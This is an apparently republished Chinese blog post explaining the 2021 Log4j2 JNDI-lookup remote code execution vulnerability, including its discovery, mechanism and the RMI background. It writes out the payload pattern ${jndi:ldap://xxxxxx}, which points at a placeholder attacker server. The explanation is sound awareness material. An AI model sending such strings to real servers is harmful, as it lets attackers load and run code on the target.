3

Apache 存在 Log4j2 远程代码执行漏洞,有哪些信息值得关注?

 2 years ago
source link: http://www.justdojava.com/2021/12/13/youhua/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Apache 存在 Log4j2 远程代码执行漏洞,有哪些信息值得关注?

发表于 2021-12-13

| 分类于 Java

相信大家最近都被 ApacheLog4j2 的漏洞相关的文章刷屏了,不得不说这次的这个漏洞影响范围之广,很多互联网大厂和开源软件都被影响到了,作为一个特别通用的日志框架,日常使用的场景非常多,而且很多开源软件都在使用,所以此次影响到一大批公司,堪称核弹级漏洞!

不过据说 2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞,可能这是为什么阿里内部群很安静,没任何波澜的原因吧,毕竟有安全部门!但是很多其他公司是工程师就很不幸了,都表示自己在 12 月 10 号这天晚上被拉起来修复漏洞了,还有好多要给客户打补丁的~

01.png

我们都知道在使用Apache Log4j2 记录日志的时候,会使用这样的格式logger.info("params: {}", params);,进行组装,不要告诉阿粉你是用加号拼装~。log4j2 底层在进行组装的时候,如果发现传入的 params 当中含有${} 字符串的话会进行替换的时候会执行 lookup 的操作,所谓的 lookup 的操作就是允许通过 JNDI 检索变量。

02.png

通过 JNDI 注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码,想想就很恐怖!也就是说当 params 中的参数包含一些特定的字符的时候,就会触发这个漏洞,这种字符数格式比如:${jndi:ldap://xxxxxx},${jndi:rmi://xxxxxx} 其中xxxxxx 表示黑客的服务地址。

黑客通过构造这样的字符串来访问目标网站,只要程序通过 log4j2 将日志进行记录,不管是什么级别,就会将 log4j2lookup 功能触发,然后就会通过 RMI 访问黑客的服务地址,黑客通过这个服务输出一个 class 字节码文件,这个字节码文件里面可以执行任何内容,相当于把这个服务器都交给黑客了,后果可想而知!

有大佬画了一张攻击原理的图书,阿粉给大家看一下,很详细了。

03.png

相关实现的代码阿粉放到了后台,回复关键字【log4j】获取,不过复现的过程可能会比较坎坷,因为由于 JDK 版本的问题,很多小伙伴不一定能复现出来。

估计很多小伙伴看到这个漏洞的时候估计跟阿粉一样有一个疑问,那就是 RMI 是啥?运用面向搜索引擎编程的技巧,阿粉找到了下面的内容,看上去还是很好理解的。

Java RMI(Java Remote Method Invocation),即 Java 远程方法调用。是 Java 编程语言里,一种用于实现远程过程调用的应用程序编程接口。有点类似于我们常用的服务注册发现机制一样,使用 JRMP(Java Remote Message Protocol,Java远程消息交换协议)实现,使得客户端运行的程序可以调用远程服务器上的对象,有点 RPC 的感觉。

王坚博士曾说:安全是互联网公司的生命,也是每一位网民的最基本需求。

互联网软件的安全与我们每一个程序员相关,我们在日常工作中要随时有应对各种安全漏洞的准备,写的代码也有尽量没有漏洞。为此阿粉特意找来了一本由阿里知名白帽子道哥编写的《白帽子讲 Web 安全》书籍,里面分析了很多种 Web 安全,如下面所示,让我们为互联网的安全做一点小小的贡献。

04.png

05.png

完整的 pdf 公众号后台,回复关键字【安全】获取。

Java Geek Tech wechat
欢迎订阅 Java 极客技术,这里分享关于 Java 的一切。

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK